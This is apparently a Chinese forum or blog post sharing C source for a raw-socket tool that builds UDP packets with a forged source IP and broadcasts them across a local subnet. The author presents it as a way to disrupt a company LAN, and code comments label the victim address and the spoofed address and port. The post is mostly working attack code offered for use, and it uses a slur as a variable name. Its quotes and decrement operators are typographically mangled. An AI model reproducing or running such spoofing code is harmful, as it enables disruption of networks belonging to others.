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由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.
这个也添加了广播,整个网段的人都能收到了
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/udp.h> //tcp
#include <stdlib.h>
#include<netinet/in.h>
unsigned short ip_sum(unsigned short *addrr2, int len2) {
register unsigned short *addrr = addrr2;
register int len = len2;
register int sum = 0;
unsigned short answer = 0;
while (len > 1) {
sum += *addrr++;
len -= 2;
}
if (len == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) addrr;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
unsigned short cksum(short * buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords–)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int main(int argc, char *argv[]) {
int sock, size, bytes_send, psize;
psize = 0;
struct sockaddr_in sin;
struct {
struct ip iphead;
struct udphdr udphead;
unsigned char evil[];
} faggot;
size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;
printf(“create socket\r\n”);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
printf(“2”);
perror(“IP_HDRINCL”);
exit(1);
}
const int on = 1;//设定常量，用于打开广播模式
//设定该接口上的广播模式
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
printf(“2”);
perror(“IP_HDRINCL”);
exit(1);
}
faggot.evil[psize] = ‘\0’;
printf(“create iphead\r\n”);
faggot.iphead.ip_v = 4;
faggot.iphead.ip_hl = 5;
faggot.iphead.ip_tos = 0x00;
faggot.iphead.ip_len = size;
faggot.iphead.ip_id = 1025;
faggot.iphead.ip_off = 0;
faggot.iphead.ip_ttl = 201;
faggot.iphead.ip_p = IPPROTO_UDP;
faggot.iphead.ip_sum = 0;
inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip
inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip
printf(“create udphead\r\n”);
faggot.udphead.source = htons(12345);//假冒端口
faggot.udphead.dest = htons(80);//被攻击者端口
faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);
faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));
faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);
printf(“start send\r\n”);
int i = 1;
while (i > 0) {
bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));
i–;
// if (bytes_send > 0) {
// i++;
// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);
// }
}
printf(“end send\r\n”);
}
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